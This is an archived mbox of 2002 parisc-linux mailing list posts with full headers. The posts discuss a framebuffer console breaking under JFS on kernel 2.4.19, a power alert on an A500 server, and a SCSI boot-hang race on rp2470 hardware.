>From: jsoe0708@tiscali.be
>Subject: RE: [parisc-linux] FW: [Bug #3332] jfs-1.0.22 and 1.0.23 break
fb
>console on k-2.4.19-pa22
>To: parisc-linux@lists.parisc-linux.org
>Date: Fri, 18 Oct 2002 16:43:08 +0200
>
>
>>
>>Hi all,
>>
>>May be much hppa specific problem.
>>
>>All advise is well come.
>>
>>Thanks in advance,
>>    Joel
>>
>>--- Start of the Attached Message ---
>>
>>Date: Thu, 17 Oct 2002 12:47:30 -0400
>>To: joel.soete@tiscali.be
>>Subject: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>>From: admin@www-124.southbury.usf.ibm.com
>>
>>
>>Bug #3332 has been submitted pending email address confirmation. 
>>Here is a current snapshot of the bug.
>>
>>Project: 
>>Category: kernel
>>Status: Open
>>Bug Group: bug
>>Priority: 5
>>Summary: jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>>
>>Details: Hi all,
>>
>>Test your tools, I test early with success 1.0.17 (against k-2.4.18-pa54
>>and latter).
>
>
>Hmm I was wrong: I come back to jfs-2.4-1.0.17 against k-2.4.19-pa22 and
>the problem is the same. So the actual problem is a change between 2.4.18(pa54)
>and 2.4.19(pa22).
>
>Any idea?

The very first patch 2.4.19 I still have was pa5 and the same problem occur.
It seems definitely that JFS and STI FB in 2.4.19 are incompatible.

Where do I have to start my investigation?

>>Just an anoying problem the fb console is broken:
>>just when kernel launches to detect the first scsi device the screen scroll
>>stop and the rest of messages are all display over others on  the very
top
>>line of the screen.
>>
Thanks in advance for help,
   Joel



From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Sat, 19 Oct 2002 19:45:35 +0000
Lines: 87
Approved: news@gmane.org
Message-ID: <3DB1B65F.5020203@freebel.net>
References: <3DA56CAE00003256@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621841 15819 80.91.229.3 (22 Nov 2014 02:04:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:01 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 19 12:39:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14C974829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Oct 2002 12:39:50 -0600 (MDT)
Original-Received: from [62.235.70.151] (helo=freebel.net)
	by smtp-out.tiscali.be with esmtp (Tiscalinet) 
	id 182yVg-000774-00; Sat, 19 Oct 2002 20:39:41 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020913 Debian/1.1-1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16526

Funny isn't it?

Excepted those anoying problem all seems to work fine (I already 
sucessfully tested a jfs fs (over a evms lvm) and still have to test a xfs).

Really no idea?

Joel

jsoe0708@tiscali.be wrote:
>>-- Original Message --
>>From: jsoe0708@tiscali.be
>>Subject: RE: [parisc-linux] FW: [Bug #3332] jfs-1.0.22 and 1.0.23 break
> 
> fb
> 
>>console on k-2.4.19-pa22
>>To: parisc-linux@lists.parisc-linux.org
>>Date: Fri, 18 Oct 2002 16:43:08 +0200
>>
>>
>>
>>>Hi all,
>>>
>>>May be much hppa specific problem.
>>>
>>>All advise is well come.
>>>
>>>Thanks in advance,
>>>   Joel
>>>
>>>--- Start of the Attached Message ---
>>>
>>>Date: Thu, 17 Oct 2002 12:47:30 -0400
>>>To: joel.soete@tiscali.be
>>>Subject: [Bug #3332] jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>>>From: admin@www-124.southbury.usf.ibm.com
>>>
>>>
>>>Bug #3332 has been submitted pending email address confirmation. 
>>>Here is a current snapshot of the bug.
>>>
>>>Project: 
>>>Category: kernel
>>>Status: Open
>>>Bug Group: bug
>>>Priority: 5
>>>Summary: jfs-1.0.22 and 1.0.23 break fb console on k-2.4.19-pa22
>>>
>>>Details: Hi all,
>>>
>>>Test your tools, I test early with success 1.0.17 (against k-2.4.18-pa54
>>>and latter).
>>
>>
>>Hmm I was wrong: I come back to jfs-2.4-1.0.17 against k-2.4.19-pa22 and
>>the problem is the same. So the actual problem is a change between 2.4.18(pa54)
>>and 2.4.19(pa22).
>>
>>Any idea?
> 
> 
> The very first patch 2.4.19 I still have was pa5 and the same problem occur.
> It seems definitely that JFS and STI FB in 2.4.19 are incompatible.
> 
> Where do I have to start my investigation?
> 
> 
>>>Just an anoying problem the fb console is broken:
>>>just when kernel launches to detect the first scsi device the screen scroll
>>>stop and the rest of messages are all display over others on  the very
>>
> top
> 
>>>line of the screen.
>>>
>>
> Thanks in advance for help,
>    Joel
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Sat, 19 Oct 2002 21:44:03 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20021020034403.AF4F14829@dsl2.external.hp.com>
References: <3DA56CAE00003256@ocpmta8.be.tiscali.com>  <3DB1B65F.5020203@freebel.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621842 15820 80.91.229.3 (22 Nov 2014 02:04:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 19 21:44:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AF4F14829; Sat, 19 Oct 2002 21:44:03 -0600 (MDT)
In-Reply-To: Message from Joel Soete <joel.soete@freebel.net> 
   of "Sat, 19 Oct 2002 19:45:35 -0000." <3DB1B65F.5020203@freebel.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16527

Joel Soete wrote:
> The very first patch 2.4.19 I still have was pa5 and the same problem occur.
> It seems definitely that JFS and STI FB in 2.4.19 are incompatible.
> Where do I have to start my investigation?
...
> Really no idea?

Sorry. I don't. And until 2.4.19 boots on the A500-6X,
I'm not interested in chasing the JFS/STI issue.

My advice is to start adding printk's in the main vfs_ops entry
points to JFS until you can narrow down which entry point is
having problems. Then start looking STI to see if anything
in the JFS code uses the same services or something.

grant


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GSP on A500 - Level 14 Alert - Output overvoltage?
Date: Sun, 20 Oct 2002 01:26:23 -0400
Lines: 43
Approved: news@gmane.org
Message-ID: <20021020052623.GA1577@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621842 15823 80.91.229.3 (22 Nov 2014 02:04:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:02 +0000 (UTC)
To: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 19 23:26:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FDF54829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 Oct 2002 23:26:38 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 1838bX-0000XT-00; Sun, 20 Oct 2002 01:26:23 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16528

parisc,

Just a quick flitting question that has been in
the back of my mind. When working with an A500
that I have, during a GSP powerdown using "PC", 
I get the following error:

************* SYSTEM ALERT **************
SYSTEM NAME: firin
DATE: 10/19/2002 TIME: 00:24:23
ALERT LEVEL: 14 = Fatal power or environmental problem prevents
operation

REASON FOR ALERT
SOURCE: 4 = power
SOURCE DETAIL: 4 = high voltage DC power   SOURCE ID: FF
PROBLEM DETAIL: 5 = output overvoltage

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       OFF      OFF           OFF       OFF        FLASH
System Power is Off.

0x002000E544FF404F 00000000 00000000 - type  0 = Data Field Unused
0x582008E544FF404F 00006609 13001817 - type 11 = Timestamp 10/19/2002
00:24:23
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:

Is this bad for my hardware :} It was ever so 
nice when I was kernel hacking and I could remotely
control the box's power. However, after such an error
I'm told that:


  The system did not respond to the Power-On command.
  Turn the system power switch Off and On again to reset the system.

Which means I need to be there physically :(
Any help on the matter would be much appreciated.

c.


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: GSP on A500 - Level 14 Alert - Output overvoltage?
Date: Sun, 20 Oct 2002 17:37:10 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20021020233710.A78BA4829@dsl2.external.hp.com>
References: <20021020052623.GA1577@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621842 15834 80.91.229.3 (22 Nov 2014 02:04:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:02 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 20 17:37:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A78BA4829; Sun, 20 Oct 2002 17:37:10 -0600 (MDT)
In-Reply-To: Message from Carlos O'Donell <carlos@baldric.uwo.ca> 
   of "Sun, 20 Oct 2002 01:26:23 EDT." <20021020052623.GA1577@systemhalted> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16529

Carlos O'Donell wrote:
...
> SOURCE DETAIL: 4 = high voltage DC power   SOURCE ID: FF
> PROBLEM DETAIL: 5 = output overvoltage

this would suggest your site has a voltage regulation problem.
you might get out a DVM and see if that's a persistent problem.

> Is this bad for my hardware :}

I'd think yes. normally the power supplies are designed to handle
something like 5-10% input power variation.

>   The system did not respond to the Power-On command.
>   Turn the system power switch Off and On again to reset the system.

I'd unplug the power too just to be sure it's really reset.

grant


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Sun, 20 Oct 2002 18:57:16 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20021021005716.B27384829@dsl2.external.hp.com>
References: <20021013044033.88A544829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621843 15838 80.91.229.3 (22 Nov 2014 02:04:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 20 18:57:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id B27384829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Oct 2002 18:57:16 -0600 (MDT)
In-Reply-To: Message from grundler@dsl2.external.hp.com (Grant Grundler) 
   of "Sat, 12 Oct 2002 22:40:33 MDT." <20021013044033.88A544829@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16530

Grant Grundler wrote:
> I'm getting closer to figuring out why rp2470 (a500-6x) hangs at boot time.

had some ideas to think about/work on.

> Here's the sequence I see so far:
> o scsi_register_host() acquires io_request_lock (tpnt->use_new_eh_code is tru
>   e)
> o scsi_register_host() calls tpnt->detect(tpnt)
> o detect() points to sym53c8xx_detect()
> o sym53c8xx_detect() calls sym_attach() 
> o sym_attach() initializes s.timer to point at sym53c8xx_timer but
>   directly calls sym_timer() to kick off the self-arming timer.
>   timer will pop in 0.5 seconds.

sym_attach() also calls request_irq().
request_irq() *enables* the IRQ for that line.
I suspect this might unmask the timer interrupt as well.
I'll add some debug code and test this out.

And after looking at arch/parisc/kernel/irq.c, I think we have a
race condition in our cpu_irq_ops. ie the eiem value read could be
different if we take an interupt at the wrong moment. ie need to
save_flags/local_irq_disable()/restore around touching the eiem.
If someone seconds that opinion, I'll add/test that.

Lastly, use of IPI to set_eiem() on all CPUs can probably go away.
In 2.5, I was under the impression we no longer require globally
disabling of interrupts - only on the local CPU.  For both 2.4
and 2.5, parisc only needs to mask/unmask the EIEM bit on the CPU
that is the target of that IRQ, not all CPUs. ie if the IPI
is needed, it should just target the same CPU which will handle the
specific external intr.

> o other interfaces are detected/initialized.
> o timer_interrupt() calls timer_bh() and invokes sym53c8xx_timer().
> o sym53c8xx_timer() attempts to reacquire the io_request_lock.  checkmate.

grant


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] FWSCSI on a 735/125
Date: Sun, 20 Oct 2002 21:37:49 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <a05111b04b9d90ac0ea5d@[192.168.0.67]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416621843 15842 80.91.229.3 (22 Nov 2014 02:04:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 20 19:37:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (h012.c007.snv.cp.net [209.228.33.240])
	by dsl2.external.hp.com (Postfix) with SMTP id 1393E4829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Oct 2002 19:37:55 -0600 (MDT)
Original-Received: (cpmta 29060 invoked from network); 20 Oct 2002 18:37:48 -0700
Original-Received: from 65.187.198.65 (HELO ?192.168.0.67?)
  by smtp.directvinternet.com (209.228.33.240) with SMTP; 20 Oct 2002 18:37:48 -0700
X-Sent: 21 Oct 2002 01:37:48 GMT
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16531

I remember a while ago that this was not working, but I don't 
remember if any progress has been made yet.  Anything?
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu) [http://wiglaf.cs-i.brandeis.edu/~aaronm]
My sheep has seven gall bladders, that makes me the King of the Universe!


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Mon, 21 Oct 2002 03:21:13 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20021021032113.G5285@parcelfarce.linux.theplanet.co.uk>
References: <20021013044033.88A544829@dsl2.external.hp.com> <20021021005716.B27384829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621843 15845 80.91.229.3 (22 Nov 2014 02:04:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 20 20:21:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E24444829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 Oct 2002 20:21:16 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 183SBt-0000Yr-00; Mon, 21 Oct 2002 03:21:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021021005716.B27384829@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Sun, Oct 20, 2002 at 06:57:16PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16532

On Sun, Oct 20, 2002 at 06:57:16PM -0600, Grant Grundler wrote:
> Lastly, use of IPI to set_eiem() on all CPUs can probably go away.
> In 2.5, I was under the impression we no longer require globally
> disabling of interrupts - only on the local CPU.  For both 2.4
> and 2.5, parisc only needs to mask/unmask the EIEM bit on the CPU
> that is the target of that IRQ, not all CPUs. ie if the IPI
> is needed, it should just target the same CPU which will handle the
> specific external intr.

hmm.. not sure about disable_irq() -- certainly sti() is gone and __sti()
is local_irq_disable() in 2.5; but i think enable/disable_irq still act
globally.  i think this is because it's supposed to go and enable/disable
delivery of interrupts in the (io)(s)(a)pic, rather than playing with
the cpu interrupt masks.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Sun, 20 Oct 2002 21:33:54 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20021021033354.9C50E4829@dsl2.external.hp.com>
References: <20021013044033.88A544829@dsl2.external.hp.com> <20021021005716.B27384829@dsl2.external.hp.com>  <20021021032113.G5285@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621844 15847 80.91.229.3 (22 Nov 2014 02:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 20 21:33:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9C50E4829; Sun, 20 Oct 2002 21:33:54 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 21 Oct 2002 03:21:13 BST." <20021021032113.G5285@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16533

Matthew Wilcox wrote:
> hmm.. not sure about disable_irq() -- certainly sti() is gone and __sti()
> is local_irq_disable() in 2.5; but i think enable/disable_irq still act
> globally.  i think this is because it's supposed to go and enable/disable
> delivery of interrupts in the (io)(s)(a)pic, rather than playing with
> the cpu interrupt masks.

Normally, disable_irq() will only result in the IRQ being disabled
at the PIC. ie if a regular PCI driver calls disable_irq().
But if HP device (eg Dino/IOSAPIC) calls disable_irq(), the IRQ
is in the CPU region and we muck with EIEM.

grant


From - Thu Nov 08 21:25:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pb with shared lib/or keymap after apt-get upgrade
Date: Mon, 21 Oct 2002 13:19:08 +0200
Organization: H.P
Lines: 49
Approved: news@gmane.org
Message-ID: <3DB3E2AC.7FC260A8@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------EB41338C01E7D4FDD572DC6A"
X-Trace: ger.gmane.org 1416621844 15849 80.91.229.3 (22 Nov 2014 02:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:04 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 21 05:19:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
